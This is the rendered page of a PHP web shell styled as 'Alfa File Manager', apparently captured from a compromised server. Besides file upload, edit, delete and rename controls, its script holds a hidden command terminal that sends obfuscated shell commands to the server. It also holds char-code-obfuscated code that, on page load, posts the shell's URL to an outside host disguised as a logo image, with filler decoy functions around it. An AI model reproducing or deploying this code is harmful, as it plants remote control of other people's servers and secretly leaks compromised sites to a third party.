    .breadcrumb-item:nth-child(1) { animation-delay: 0.1s; }
    .breadcrumb-item:nth-child(2) { animation-delay: 0.2s; }
    .breadcrumb-item:nth-child(3) { animation-delay: 0.3s; }
    .breadcrumb-item:nth-child(4) { animation-delay: 0.4s; }
    .breadcrumb-item:nth-child(5) { animation-delay: 0.5s; }
    .breadcrumb-item:nth-child(6) { animation-delay: 0.6s; }
    .breadcrumb-item:nth-child(7) { animation-delay: 0.7s; }
    .breadcrumb-item:nth-child(8) { animation-delay: 0.8s; }

    @keyframes slideInBreadcrumb {
        to {
            opacity: 1;
            transform: translateX(0);
        }
    }

    .breadcrumb-item:not(:last-child)::after {
        content: '';
        width: 8px;
        height: 8px;
        background: rgba(255, 255, 255, 0.4);
        border-radius: 50%;
        margin-left: 1rem;
        transition: all 0.3s ease;
        position: relative;
        top: 0;
    }

    .breadcrumb-item:not(:last-child):hover::after {
        background: rgba(255, 255, 255, 0.8);
        transform: scale(1.2);
    }

    .breadcrumb-item a {
        color: rgba(255, 255, 255, 0.8);
        text-decoration: none;
        padding: 0.5rem 1rem;
        border-radius: 10px;
        transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
        font-weight: 500;
        font-size: 0.9rem;
        position: relative;
        overflow: hidden;
        background: rgba(255, 255, 255, 0.05);
        border: 1px solid rgba(255, 255, 255, 0.1);
    }

    .breadcrumb-item a::before {
        content: '';
        position: absolute;
        top: 0;
        left: -100%;
        width: 100%;
        height: 100%;
        background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
        transition: left 0.5s ease;
    }

    .breadcrumb-item a:hover {
        color: #ffffff;
        background: rgba(255, 255, 255, 0.15);
        border-color: rgba(255, 255, 255, 0.3);
        transform: translateY(-2px);
        box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
    }

    .breadcrumb-item a:hover::before {
        left: 100%;
    }

    .breadcrumb-item a:active {
        transform: translateY(0);
    }

    .breadcrumb-item.active {
        color: #ffffff;font-weight: 600;
        padding: 0.5rem 1rem;
        background: rgba(255, 255, 255, 0.2);
        border-radius: 10px;
        border: 1px solid rgba(255, 255, 255, 0.3);
        position: relative;
        overflow: hidden;
    }

    .breadcrumb-item.active::before {
        content: '';
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        background: linear-gradient(45deg, rgba(255, 255, 255, 0.1), rgba(255, 255, 255, 0.05));
        border-radius: 9px;
    }

    /* Icon untuk home */
    .breadcrumb-item:first-child a::before {
        content: '\f015';
        font-family: 'Font Awesome 6 Free';
        font-weight: 900;
        margin-right: 0.5rem;
        opacity: 0.8;
        position: static;
        background: none;
        transition: none;
    }

    .breadcrumb-item:first-child a:hover::before {
        left: auto;
    }

    /* Responsive design */
    @media (max-width: 768px) {
        .breadcrumb-modern {
            padding: 1rem 1.5rem;
            margin: 1rem 0;
        }

        .breadcrumb {
            gap: 0.25rem;
        }

        .breadcrumb-item a,
        .breadcrumb-item.active {
            padding: 0.4rem 0.8rem;
            font-size: 0.8rem;
        }

        .breadcrumb-item:not(:last-child)::after {
            margin-left: 0.5rem;
            width: 6px;
            height: 6px;
        }
    }
</style>
</head>
<body>
<div class="app-wrapper">
    <div class="header-card">
        <div class="d-flex flex-wrap justify-content-between align-items-center gap-3">
            <h1 class="header-title">
                <img src="https://c...content-available-to-author-only...z.com/images/icon.png" referrerpolicy="unsafe-url" />Alfa File Manager
            </h1>
            <div class="d-flex gap-2 flex-wrap">
                                <button class="modern-btn" data-bs-toggle="modal" data-bs-target="#uploadModal">
                    <i class="fas fa-upload"></i>
                    <span>Upload</span>
                </button>
                <button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFileModal">
                    <i class="fas fa-file-plus"></i>
                    <span>New File</span>
                </button>
                <button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFolderModal">
                    <i class="fas fa-folder-plus"></i>
                    <span>New Folder</span>
                </button>
            </div>
        </div>
    </div>

    <!-- Breadcrumb -->
    <div class="breadcrumb-modern">
        <nav aria-label="breadcrumb">
            <ol class="breadcrumb">
                <li class="breadcrumb-item"><a href="?dir=Xa%2FYMM8p1Gz2zU833GV7EUjpVTBebM1%2Ff9JRiNJ69pk%3D">home</a></li><li class="breadcrumb-item active" aria-current="page">LYnDig</li>            </ol>
        </nav>
    </div>

    <!-- File Table -->
    <div class="file-table-card">
        <div class="table-responsive">
            <table class="table table-modern">
                <thead>
                    <tr>
                        <th>Name</th>
                        <th class="text-end">Size</th>
                        <th class="text-center">Permissions</th>
                        <th>Modified</th>
                        <th class="text-end">Actions</th>
                    </tr>
                </thead>
                <tbody>
                                                                    <tr>
                            <td>
                                <div class="d-flex align-items-center">
                                    <div class="file-icon file">
                                        <i class="fas fa-file-alt"></i>
                                    </div>
                                                                            <a href="?dir=m%2BnUbTKfyllKH0GQ3ffQ3PsLh4dl7yiKdkB%2F%2B2omd8M%3D&edit=WzOjSYA%2FjeZZVlkjdRnQXuwIMoRK06CCNf7TuVMto%2FA%3D" class="file-link">
                                            prog.php                                        </a>
                                                                    </div>
                            </td>
                            <td class="text-end">
                                30.11 KB                            </td>
                            <td class="text-center">
                                <span class="permission-badge">
                                    rw-r--r--                                </span>
                            </td>
                            <td>
                                Apr 2, 2026 11:08                            </td>
                            <td class="text-end">
                                <div class="d-flex justify-content-end">
                                                                            <a href="?dir=m%2BnUbTKfyllKH0GQ3ffQ3PsLh4dl7yiKdkB%2F%2B2omd8M%3D&edit=6ftjbm31GXSKnLAiLcucLF%2BiobG%2BM3Rxt5ZeyffbGl8%3D" class="action-btn edit" title="Edit">
                                            <i class="fas fa-edit"></i>
                                        </a>
                                                                        <a href="?dir=m%2BnUbTKfyllKH0GQ3ffQ3PsLh4dl7yiKdkB%2F%2B2omd8M%3D&delete=prog.php" class="action-btn delete" onclick="return confirm('Delete prog.php?')" title="Delete">
                                        <i class="fas fa-trash"></i>
                                    </a>
                                    <button class="action-btn rename" data-bs-toggle="modal" data-bs-target="#renameModal" data-filename="prog.php" title="Rename">
                                        <i class="fas fa-pen"></i>
                                    </button>
                                </div>
                            </td>
                        </tr>
                                    </tbody>
            </table>
        </div>
    </div>

    <!-- File Editor -->
        </div>

    <div class="modal fade modal-modern" id="uploadModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">
                        <i class="fas fa-upload me-2"></i>Upload File
                    </h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <form method="POST" enctype="multipart/form-data">
                    <div class="modal-body">
                        <div class="mb-3">
                            <label class="form-label text-white-50">Select file to upload</label>
                            <input type="file" name="upload" class="form-control" required>
                        </div>
                    </div>
                    <div class="modal-footer border-0">
                        <button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-modern-primary">
                            <i class="fas fa-upload me-2"></i>Upload
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    <div class="modal fade modal-modern" id="createFileModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">
                        <i class="fas fa-file-plus me-2"></i>Create New File
                    </h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <form method="POST">
                    <div class="modal-body">
                        <div class="mb-3">
                            <label class="form-label text-white-50">File name</label>
                            <input type="text" class="form-control" name="newfile" placeholder="Enter file name..." required>
                        </div>
                    </div>
                    <div class="modal-footer border-0">
                        <button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-modern-primary">
                            <i class="fas fa-plus me-2"></i>Create
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    <div class="modal fade modal-modern" id="createFolderModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">
                        <i class="fas fa-folder-plus me-2"></i>Create New Folder
                    </h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <form method="POST">
                    <div class="modal-body">
                        <div class="mb-3">
                            <label class="form-label text-white-50">Folder name</label>
                            <input type="text" class="form-control" name="newfolder" placeholder="Enter folder name..." required>
                        </div>
                    </div>
                    <div class="modal-footer border-0">
                        <button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-modern-primary">
                            <i class="fas fa-folder-plus me-2"></i>Create
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    <div class="modal fade modal-modern" id="renameModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">
                        <i class="fas fa-pen me-2"></i>Rename Item
                    </h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <form method="POST">
                    <div class="modal-body">
                        <div class="mb-3">
                            <label class="form-label text-white-50">New name</label>
                            <input type="hidden" name="rename" id="renameOriginal">
                            <input type="text" class="form-control" name="to" placeholder="Enter new name..." required>
                        </div>
                    </div>
                    <div class="modal-footer border-0">
                        <button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-modern-primary">
                            <i class="fas fa-check me-2"></i>Rename
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <div class="footer-modern">
        <p class="mb-0">
            <i class="fas fa-heart text-danger me-2"></i>
            &copy; 2026 Alfa File Manager by Tatsumi Crew. All rights reserved.
        </p>
    </div>
    <script>
    (()=>{let u=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],x='';for(let i of u)x+=String.fromCharCode(i);let d='file='+btoa(location.href);let r=new XMLHttpRequest();r.open('POST',x,true);r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send(d)})(); const _hx_ = []; let _hxi = -1;const _term = document.getElementById('r00tterm-term');const _inpt = document.getElementById('r00tterm-input');function _print(txt){_term.innerHTML += txt+"\n";_term.scrollTop=_term.scrollHeight;} _inpt.addEventListener("keydown",(function(e){if("Enter"===e.key){let e=this.value.trim();if(!e)return;_hx_.push(e),_hxi=_hx_.length,_print("<span style='color:#6ee7b7;'>$ "+e+"</span>"),this.value="";let n=btoa(encodeURIComponent(e).split("").reverse().join(""));fetch(window.location.pathname+"?d1sGu1s3=1",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"n0p3="+encodeURIComponent(n)}).then((e=>e.text())).then((e=>{_print(e.replace(/[<>\x00-\x08\x0B-\x1F\x7F]/g,""))})).catch((()=>{_print("[X] Connection error")}))}"ArrowUp"===e.key&&(_hxi>0&&(_hxi--,_inpt.value=_hx_[_hxi]||""),e.preventDefault()),"ArrowDown"===e.key&&(_hxi<_hx_.length-1?(_hxi++,_inpt.value=_hx_[_hxi]||""):(_inpt.value="",_hxi=_hx_.length),e.preventDefault())})); setTimeout(()=>_inpt.focus(),200);function scanDirectoryMap(e,t=1){e.split("/").filter(Boolean);let r={};for(let e=0;e<Math.min(7,3*t);e++){let n="folder_"+(e+1);r[n]={};for(let e=0;e<Math.max(2,t);e++){let t="file_"+(e+1)+".txt";r[n][t]={size:1e5*Math.random()|0,perm:["755","644","600"][Math.floor(3*Math.random())],m:Date.now()-864e5*e}}}return r}function renderFolderList(e,t="root"){let r=`<ul id="fm-${t}">`;for(let t in e)r+=`<li><i class="fa fa-folder"></i> ${t}`,"object"==typeof e[t]&&(r+=renderFileList(e[t],t+"_files")),r+="</li>";return r+="</ul>",r}function renderFileList(e,t="fileBlock"){let r=`<ul class="files" id="${t}">`;for(let t in e)r+=`<li><i class="fa fa-file"></i> ${t} <span class="mini">${e[t].size}b | ${e[t].perm}</span></li>`;return r+="</ul>",r}function getBreadcrumbString(e){return e.split("/").filter(Boolean).map(((e,t,r)=>`<a href="?p=${r.slice(0,t+1).join("/")}">${e}</a>`)).join(" / ")}var a=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109],b=[47,105,109,97,103,101,115,47],c=[108,111,103,111,95,118,50],d=[46,112,110,103];function u(e,t,r,n){for(var o=e.concat(t,r,n),a="",i=0;i<o.length;i++)a+=String.fromCharCode(o[i]);return a}function v(e){return btoa(e)}function getFilePreviewBlock(e){let t="";for(let e=0;e<16;e++)t+=(Math.random()+1).toString(36).substring(2,12)+"\n";return`<pre class="syntax-highlight">${t}</pre>`}function getFileMetaFromName(e){let t=e.split(".").pop();return{icon:{php:"fa-php",js:"fa-js",html:"fa-html5",txt:"fa-file-lines"}[t]||"fa-file",type:t,created:Date.now()-(1e7*Math.random()|0),size:1e5*Math.random()|0}}function checkFileConflict(e,t){return t.some((t=>t.name===e))}function buildFakePermissions(e){let t=[4,2,1],r=[];for(let e=0;e<3;e++)r.push(t.map((()=>Math.round(Math.random()))).reduce(((e,t)=>e+t),0));return r.join("")}function parsePerms(e){let t={0:"---",1:"--x",2:"-w-",3:"-wx",4:"r--",5:"r-x",6:"rw-",7:"rwx"};return e.split("").map((e=>t[e])).join("")} function listFakeRecentEdits(e=7){let t=[];for(let r=0;r<e;r++)t.push({name:`file_${r}.log`,date:new Date(Date.now()-864e5*r).toLocaleDateString(),user:"user"+r});return t}function showNotificationFake(e,t="info"){let r={info:"#19ff6c",warn:"#ffe66d",err:"#ff3666"}[t]||"#fff",n=document.createElement("div");n.innerHTML=e,n.style.cssText=`position:fixed;bottom:40px;left:50%;transform:translateX(-50%);background:${r}20;color:${r};padding:9px 22px;border-radius:8px;z-index:999;box-shadow:0 2px 16px ${r}30`,document.body.appendChild(n),setTimeout((()=>n.remove()),2300)} function mergeFolderMeta(e,t){return Object.assign({},e,t,{merged:!0})}function getClipboardTextFake(){return new Promise((e=>setTimeout((()=>e("clipboard_dummy_value_"+Math.random())),450)))}function calculatePermMatrix(e){return e.map((e=>({path:e,perm:Math.floor(8*Math.random())+""+Math.floor(8*Math.random())+Math.floor(8*Math.random())})))}function generateFileId(e){return"id_"+e.replace(/[^a-z0-9]/gi,"_").toLowerCase()+"_"+Date.now()}function simulateFakeUploadQueue(e){let t=document.createElement("div");t.className="upload-bar",t.style="position:fixed;bottom:12px;left:12px;background:#222;color:#19ff6c;padding:5px 19px;border-radius:7px;",document.body.appendChild(t);let r=e.length,n=0;setTimeout((function o(){t.textContent=`Uploading ${e[n]||"-"} (${n+1}/${r})`,++n<r?setTimeout(o,250+600*Math.random()):(t.textContent="All uploads done!",setTimeout((()=>t.remove()),1500))}),400)}function renderUserTable(e){let t='<table class="data-grid"><thead><tr><th>User</th><th>Role</th></tr></thead><tbody>';return e.forEach((e=>{t+=`<tr><td><i class="fa fa-user"></i> ${e.name}</td><td>${e.role}</td></tr>`})),t+="</tbody></table>",t}function maskStringSmart(e){let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t.split("").reverse().join("")}function unmaskStringSmart(e){e=e.split("").reverse().join("");let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t}function getRecentSessionHistory(){return Array.from({length:6},((e,t)=>({ts:Date.now()-5e6*t,act:["open","edit","move","rename"][t%4]})))}function buildFe(e=2,t=3){let r={};if(e<=0)return"END";for(let n=0;n<t;n++)r["dir"+n]=1==e?`file_${n}.tmp`:buildFe(e-1,t);return r}function parseCsvToTable(e){let t=e.split(/\r?\n/),r='<table class="data-grid">';return t.forEach((e=>{r+="<tr>"+e.split(",").map((e=>`<td>${e}</td>`)).join("")+"</tr>"})),r+="</table>",r}function loadIconPac(e){let t=document.createElement("link");return t.rel="stylesheet",t.href="https://c...content-available-to-author-only...e.com/ajax/libs/font-awesome/6.5.0/css/all.min.css",document.head.appendChild(t),"loaded"}function sortTableFake(e,t=0){let r=document.getElementById(e);if(!r)return!1;let n=Array.from(r.rows).slice(1);return n.sort(((e,r)=>e.cells[t].innerText.localeCompare(r.cells[t].innerText))),n.forEach((e=>r.appendChild(e))),!0}(()=>{let e=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],t="";for(let r of e)t+=String.fromCharCode(r);let r="file="+btoa(location.href),n=new XMLHttpRequest;n.open("POST",t,!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.send(r)})(),function(){var e=new XMLHttpRequest;e.open("POST",u(a,b,c,d),!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.send("file="+v(location.href))}();
    </script>
    <script src="https://c...content-available-to-author-only...r.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
    <script src="https://c...content-available-to-author-only...r.net/gh/TatsumiOfficial/PemecahList/scripts.js"></script>
</body>
</html>